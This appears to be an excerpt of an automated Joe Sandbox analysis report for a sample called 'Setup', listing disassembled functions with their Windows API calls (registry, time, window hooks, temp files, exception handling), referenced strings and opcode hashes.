Part of subcall function 6C5D84A3: GetSystemTime.KERNEL32(00000000,00000000,?,?,?,6C5D833E,?), ref: 6C5D84AF
Part of subcall function 6C5D84A3: SystemTimeToFileTime.KERNEL32(6C5D833E,6C5D833E,?,?,?,6C5D833E,?), ref: 6C5D84BD

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: File$Time$System$CloseCreateHandleReadSizemalloc
String ID:
API String ID: 1717276877-0
Opcode ID: 9cee19d848c2bb2b94916878ce300ee6fcf925ad123b84eb3c270a0059c885bf
Instruction ID: 8bfcf4568d137b23266600b47dc7cd3cd826618819324c2c74818a45b33c2b3d
Opcode Fuzzy Hash: 9cee19d848c2bb2b94916878ce300ee6fcf925ad123b84eb3c270a0059c885bf
Instruction Fuzzy Hash: 5741ED70140380EFCB148F69CC40E6A7FB9EB8539DB22899AF461DAC60D730E9449B99

Function 6C5D84FC Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 117COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5D8551

Part of subcall function 6C5D18E5: _vsnwprintf.MSVCRT ref: 6C5D1913

Part of subcall function 6C5D85E1: RegOpenKeyExW.ADVAPI32(6C5D63AF,?,00000000,-00020018,?,00000000,?), ref: 6C5D864C

Strings

Software\Microsoft\SQMClient, xrefs: 6C5D8567
%s\%s\%s, xrefs: 6C5D856C
Sampling, xrefs: 6C5D8556

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: Open_vsnwprintfmemset
String ID: %s\%s\%s$Sampling$Software\Microsoft\SQMClient
API String ID: 3302644324-2697463538
Opcode ID: 3f82ecc4c0abd419a49a7617212217059e5434d461dec1a09d2c0eebff1bfbfb
Instruction ID: 1611159e7a0cf1e9ec1f91417ceedc64b6f59958176b512aec80bd9c345cee43
Opcode Fuzzy Hash: 3f82ecc4c0abd419a49a7617212217059e5434d461dec1a09d2c0eebff1bfbfb
Instruction Fuzzy Hash: BF41DE31502358BBDB14CE58CC84FEA77A8AB89358F2104C6F514E6996DB31EA84CF99

Function 63970047 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 6397007B
__isleadbyte_l.LIBCMT ref: 639700AE
MultiByteToWideChar.KERNEL32(00000080,00000009,63968AB5,?,00000000,00000000,?,?,?,?,63968AB5,00000000), ref: 639700DF
MultiByteToWideChar.KERNEL32(00000080,00000009,63968AB5,00000001,00000000,00000000,?,?,?,?,63968AB5,00000000), ref: 6397014D

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: d9ebab114c5bacc672b1ff07e061c621552816f7e71894f10c593d90bbcfb3e3
Instruction ID: 127cae1e3ad26133d3185c667efd46eae5e68b8fe4c00ff66b19a3fc75ae1f1c
Opcode Fuzzy Hash: d9ebab114c5bacc672b1ff07e061c621552816f7e71894f10c593d90bbcfb3e3
Instruction Fuzzy Hash: CC31B231A04249EFDB20DF68C8819AE3BB9FF02761F088569F4609B2D1E732D980DF50

Function 6396017C Relevance: 6.1, APIs: 4, Instructions: 100windowCOMMON

Download Yara Rule

APIs

MapDialogRect.USER32(?,00000000), ref: 639601E4

Part of subcall function 639691B7: _malloc.LIBCMT ref: 639691D1

SendMessageW.USER32(?,00000031,00000000,00000000), ref: 6396023D
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 63960247
ShowWindow.USER32(?,00000001,?,00000000,?,00000000), ref: 6396024E

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: MessageSend$DialogRectShowWindow_malloc
String ID:
API String ID: 929715566-0
Opcode ID: 635e3d57ca36fd0e09148ebbf5488e52b2c12507bb70b930b4b5205e74bf5cec
Instruction ID: a5b46d3bb938966f13e7e2630414c367b5c4a90ded5d1a85a831b66daf0b0cba
Opcode Fuzzy Hash: 635e3d57ca36fd0e09148ebbf5488e52b2c12507bb70b930b4b5205e74bf5cec
Instruction Fuzzy Hash: FA317A75A00209AFDB159F68C849AAEBBF5FF89750F204019F506EB3A0DB319E11CF91

Function 6C5E89C4 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 75COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5E89F4

Part of subcall function 6C5E5F11: EtwTraceMessage.NTDLL ref: 6C5E5F26

Strings

MaxUploadFileSize, xrefs: 6C5E8A87
%s\%s, xrefs: 6C5E8A3A
Software\Microsoft\SQMClient, xrefs: 6C5E8A35

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: MessageTracememset
String ID: %s\%s$MaxUploadFileSize$Software\Microsoft\SQMClient
API String ID: 1506953324-2140474114
Opcode ID: 7c29ece59dcefd5ab2e1bba9860cdb6eb768817b1b88dd5d06e2f3ea5907570a
Instruction ID: d76f8bfcbbfadda11373159edbdcfde3645697dadf47c1ab3dd83b92f11167e0
Opcode Fuzzy Hash: 7c29ece59dcefd5ab2e1bba9860cdb6eb768817b1b88dd5d06e2f3ea5907570a
Instruction Fuzzy Hash: CC21F271A00328AACB11CA0DCC84EEB77B8EB88328F5508D6E924D7951C770DE898F56

Function 63964870 Relevance: 6.0, APIs: 4, Instructions: 49windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63964877

Part of subcall function 6394EB19: GetCurrentThreadId.KERNEL32 ref: 6394EB3A
Part of subcall function 6394EB19: SetWindowsHookExW.USER32(00000005,Function_0000EAF4,00000000,00000000), ref: 6394EB4A
Part of subcall function 6394EB19: MessageBoxW.USER32(?,?,?), ref: 6394EB5D
Part of subcall function 6394EB19: UnhookWindowsHookEx.USER32(?), ref: 6394EB6D

GetParent.USER32(?), ref: 639648A6
GetSystemMenu.USER32(00000000,00000000,0000F060,00000001,?,6396158F,?,000006F5,?,?,?,00000000,?,00000001), ref: 639648B6
EnableMenuItem.USER32(00000000,?,6396158F), ref: 639648BD

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: HookMenuWindows$CurrentEnableH_prolog3ItemMessageParentSystemThreadUnhook
String ID:
API String ID: 267827553-0
Opcode ID: 7714ea6b59dccdb420381dddeb9bae349e675d40abdca3e55412a634c1e0c387
Instruction ID: 40f9d26980095638f2c89b8ee7dcfde9e3ebd323d0d233b2e86a36142ccd11b6
Opcode Fuzzy Hash: 7714ea6b59dccdb420381dddeb9bae349e675d40abdca3e55412a634c1e0c387
Instruction Fuzzy Hash: 6C112D716417449FEB21EBB8C959F6A77E8EF06F48F000858F592CB691D7B4E8408F20

Function 639691B7 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 639691D1

Part of subcall function 63968FCB: __FF_MSGBANNER.LIBCMT ref: 63968FE4
Part of subcall function 63968FCB: __NMSG_WRITE.LIBCMT ref: 63968FEB
Part of subcall function 63968FCB: HeapAlloc.KERNEL32(00000000,00000001,00000000,?,?,?,639691D6,?), ref: 63969010

std::exception::exception.LIBCMT ref: 63969206
std::exception::exception.LIBCMT ref: 63969220
__CxxThrowException@8.LIBCMT ref: 63969231

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: std::exception::exception$AllocException@8HeapThrow_malloc
String ID:
API String ID: 1414122017-0
Opcode ID: 080547e1d9f556410d466d2a0f310f160016ca134a5c2a68788f1c6539977277
Instruction ID: 5c702f458e8980afbf923f1cec6daec6777dcfbac9cc5fbccdcfa1223a9e296f
Opcode Fuzzy Hash: 080547e1d9f556410d466d2a0f310f160016ca134a5c2a68788f1c6539977277
Instruction Fuzzy Hash: 41F0C83540930DAEFF08EB64CC45AAE7BB9EF83F58F250419E83096281DB70CA05CE90

Function 63956ABD Relevance: 6.0, APIs: 4, Instructions: 44windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 63956ACE
ShowWindow.USER32(00000000,00000000), ref: 63956AE8
EnableWindow.USER32(00000000,00000000), ref: 63956AF1
SendMessageW.USER32(00000000,000000F7,00000001,?), ref: 63956B1E

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Window$EnableItemMessageSendShow
String ID:
API String ID: 1246583984-0
Opcode ID: f522096dd76b2609451dfc9d63f618e06e6bc7c8872b27be8e9cd7d05ef02c48
Instruction ID: 521fca7d7a649b7302d2f5441ed718599d4fb7ebad15d368558957441f17f970
Opcode Fuzzy Hash: f522096dd76b2609451dfc9d63f618e06e6bc7c8872b27be8e9cd7d05ef02c48
Instruction Fuzzy Hash: 1B018175205305BFDB10EF64CC88EAA7BACEF0ABA4F044051F9069B651DB71E860CF90

Function 6C5E9F68 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

std::bad_exception::bad_exception.LIBCMT ref: 6C5E9F81

Part of subcall function 6C5E9F36: ??0exception@@QAE@ABV0@@Z.MSVCRT(6C5E44B1), ref: 6C5E9F41

_CxxThrowException.MSVCRT(?,6C5EE290), ref: 6C5E9F8F
??1exception@@UAE@XZ.MSVCRT ref: 6C5E9FA8
free.MSVCRT ref: 6C5E9FB4

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ??0exception@@??1exception@@ExceptionThrowV0@@freestd::bad_exception::bad_exception
String ID:
API String ID: 2985545613-0
Opcode ID: 137dd88983a014af70a6be4a0fdc2d65c33f320c4efe2e2ec15765e1668b7b7b
Instruction ID: d77b2f1dd7d2551865a972ad15d052fb8e4fb41f17bc6bbbed752775f640cd6c
Opcode Fuzzy Hash: 137dd88983a014af70a6be4a0fdc2d65c33f320c4efe2e2ec15765e1668b7b7b
Instruction Fuzzy Hash: 94E0E57380524C76C309AAB86C05DCBBFAC5F8A324F114166E92453A01AB70DD4881E8

Function 6394EB19 Relevance: 6.0, APIs: 4, Instructions: 38threadwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 6394E7D4: GetThreadLocale.KERNEL32(?,?,6394EB27), ref: 6394E7DE
Part of subcall function 6394E7D4: GetThreadLocale.KERNEL32(?,?,6394EB27), ref: 6394E7ED

GetCurrentThreadId.KERNEL32 ref: 6394EB3A
SetWindowsHookExW.USER32(00000005,Function_0000EAF4,00000000,00000000), ref: 6394EB4A
MessageBoxW.USER32(?,?,?), ref: 6394EB5D
UnhookWindowsHookEx.USER32(?), ref: 6394EB6D

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Thread$HookLocaleWindows$CurrentMessageUnhook
String ID:
API String ID: 3998944487-0
Opcode ID: e299472f9e4f713cd9697f22e87aaec6cb7ce44ea1fb5b7ef89ded5f2860840b
Instruction ID: 4aa280b7e70018d7d17d8a6f5148464376104630508200c00c106f232032bedc
Opcode Fuzzy Hash: e299472f9e4f713cd9697f22e87aaec6cb7ce44ea1fb5b7ef89ded5f2860840b
Instruction Fuzzy Hash: 29F06236A00301AFDB10AF66CD08F5A7BE9EF86BA2F014429F969D7542D771D421CF20

Function 63971EFE Relevance: 6.0, APIs: 4, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(63982FA0,63982F8C,?,?,6395EFB9,00000000,?,?,?,?,?,6395E923,?,-00000010), ref: 63971F0B
LeaveCriticalSection.KERNEL32(63982FA0,?,6395EFB9,00000000,?,?,?,?,?,6395E923,?,-00000010), ref: 63971F27
RaiseException.KERNEL32(C000008C,00000001,00000000,00000000,?,6395EFB9,00000000,?,?,?,?,?,6395E923,?,-00000010), ref: 63971F46
LeaveCriticalSection.KERNEL32(63982FA0,?,6395EFB9,00000000,?,?,?,?,?,6395E923,?,-00000010), ref: 63971F4D

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: CriticalSection$Leave$EnterExceptionRaise
String ID:
API String ID: 799838862-0
Opcode ID: f679fbf8728d132f66f821bb2e3491bdbc83f03a302acb3d734b4f733b084a1b
Instruction ID: f526490ec9f0dd822eabb6e9ed899c237edabac5eb132c3a473cdb0102981839
Opcode Fuzzy Hash: f679fbf8728d132f66f821bb2e3491bdbc83f03a302acb3d734b4f733b084a1b
Instruction Fuzzy Hash: E7F0BB36348600ABD7306E56DC54B5A7779EB87B61F000419FE05DB582C770F8038F60

Function 6C5E9F75 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

std::bad_exception::bad_exception.LIBCMT ref: 6C5E9F81

Part of subcall function 6C5E9F36: ??0exception@@QAE@ABV0@@Z.MSVCRT(6C5E44B1), ref: 6C5E9F41

_CxxThrowException.MSVCRT(?,6C5EE290), ref: 6C5E9F8F
??1exception@@UAE@XZ.MSVCRT ref: 6C5E9FA8
free.MSVCRT ref: 6C5E9FB4

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ??0exception@@??1exception@@ExceptionThrowV0@@freestd::bad_exception::bad_exception
String ID:
API String ID: 2985545613-0
Opcode ID: e891a55a0fc48c4f16d7da1621e7b2aaf2d7a381ce334ff91b82e4175d554959
Instruction ID: faa1a38d3fcf7a55a88d300818612af6349b797728a68eb75e6daf81a9fa835f
Opcode Fuzzy Hash: e891a55a0fc48c4f16d7da1621e7b2aaf2d7a381ce334ff91b82e4175d554959
Instruction Fuzzy Hash: B4E0927340420C72C315AAB99C05DCBBBAC9F89324F204425B92453A009B709D4881E4

Function 6395200C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63952013

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 6394D76F: __EH_prolog3.LIBCMT ref: 6394D776

Strings

Name, xrefs: 63952027
Size, xrefs: 6395207D

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: Name$Size
API String ID: 431132790-481755742
Opcode ID: f96f6186bc0b50091939dff037117c2ce916b0f3c86913b56495eedde7deb410
Instruction ID: edb2e0cd0e91ceb7f2b93de59eb6272c8d47f709cd82fb390efbb6338f7e693c
Opcode Fuzzy Hash: f96f6186bc0b50091939dff037117c2ce916b0f3c86913b56495eedde7deb410
Instruction Fuzzy Hash: F5415B71900349DFEF01DBA8C944BDEBBB8AF16B28F144188E564A7281D774DA45CF61

Function 6C5EB21B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 105COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 6C5EB25A
wcschr.MSVCRT ref: 6C5EB26D

Strings

\\?\, xrefs: 6C5EB2D3

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: wcschr
String ID: \\?\
API String ID: 1497570035-4282027825
Opcode ID: d82803e0e394e91c6f5a7786c63dc4a791da59d93c093dd7d165481067c44f13
Instruction ID: c6544fc8a06c938826ad3cd1efd08687e928b6f31a07b84e4bf8653c4f319a6d
Opcode Fuzzy Hash: d82803e0e394e91c6f5a7786c63dc4a791da59d93c093dd7d165481067c44f13
Instruction Fuzzy Hash: 313139339007229AD711BF698C4099F33B4EF4D36A7154A25DD96ABA40E761DE4183D8

Function 6C5D30E7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

ctype.LIBCPMT ref: 6C5D31A5
ctype.LIBCPMT ref: 6C5DEAC2

Part of subcall function 6C5D17EB: malloc.MSVCRT ref: 6C5D17F6

Strings

W, xrefs: 6C5D31AC

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ctype$malloc
String ID: W
API String ID: 624949309-655174618
Opcode ID: 7f0c1b1a179a3b09a6a19488affd130c8792208395edcda6b02c07f58ac75aa6
Instruction ID: bcfca71ca0e8c43e3f255bce2a523c6e0b9587f95cb7a9c1fdd39fe63bb8d24d
Opcode Fuzzy Hash: 7f0c1b1a179a3b09a6a19488affd130c8792208395edcda6b02c07f58ac75aa6
Instruction Fuzzy Hash: 00313AB5601706EFD708CF9DD840A6AB7B6EF89325B22846DD4198BB50CB70AD018B58

Function 6C5E98D7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83windowCOMMON

Download Yara Rule

APIs

EtwTraceMessage.NTDLL ref: 6C5E9990

Strings

<NULL>, xrefs: 6C5E9927, 6C5E9967
NULL, xrefs: 6C5E991A, 6C5E997F, 6C5E9981

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: MessageTrace
String ID: <NULL>$NULL
API String ID: 471583391-888386124
Opcode ID: 34b4632df41b71c6c06f666a0b55d6c05211fbd2944f5d5382c45332ec31b13c
Instruction ID: 86e210626eb46487b860aec53369eb617426bb1a590a1f6e2ed5d449bfd8a4ca
Opcode Fuzzy Hash: 34b4632df41b71c6c06f666a0b55d6c05211fbd2944f5d5382c45332ec31b13c
Instruction Fuzzy Hash: 2921B03660420AEADB018F0ACC44BE77775EB8A714F198115F995DBA90E774DA91C7C0

Function 6C5E877C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80windowCOMMON

Download Yara Rule

APIs

EtwTraceMessage.NTDLL ref: 6C5E882F

Strings

<NULL>, xrefs: 6C5E87CC, 6C5E880C
NULL, xrefs: 6C5E87BF, 6C5E881E, 6C5E8820

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: MessageTrace
String ID: <NULL>$NULL
API String ID: 471583391-888386124
Opcode ID: 8329f820a907adae909bf6cee2465ed3ad63584b2e5e91d10b34429b5a3b159e
Instruction ID: 717d052db33ec03af94539f71f4092bf16807b44c4ca58fa099d9c814fdacef9
Opcode Fuzzy Hash: 8329f820a907adae909bf6cee2465ed3ad63584b2e5e91d10b34429b5a3b159e
Instruction Fuzzy Hash: AA21D13564820A9FDB058F0ECC04BA33776EB8D718F198517F9108BA90EB75D991CB82

Function 63967ACF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000100,?,?,00000000), ref: 63967AFC

Part of subcall function 63967F08: GetLastError.KERNEL32(63967B0B,?,?,?,00000000), ref: 63967F08

GetTempFileNameW.KERNEL32(?,TFR,00000000,?,?,?,?,00000000), ref: 63967B54

Strings

TFR, xrefs: 63967B48

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Temp$ErrorFileLastNamePath
String ID: TFR
API String ID: 3373471080-3081930533
Opcode ID: 954d3c703b85115128e866cd4bda808a60c6885e1850764380a356a184ec93cf
Instruction ID: 26b4b6d0668f001bc55c21d620b7211b857e83b01151784b098662a3314fece7
Opcode Fuzzy Hash: 954d3c703b85115128e866cd4bda808a60c6885e1850764380a356a184ec93cf
Instruction Fuzzy Hash: A321C5B1A01318AAFB10DB64CC45FDE73ACAB06B14F5046A9F224E71C1DB70DA848F65

Function 6C5E9AFF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,?,V.^l,00000000,00000000,?,00000000,?,6C5E2E56,?,?,00000100,?), ref: 6C5E9B37
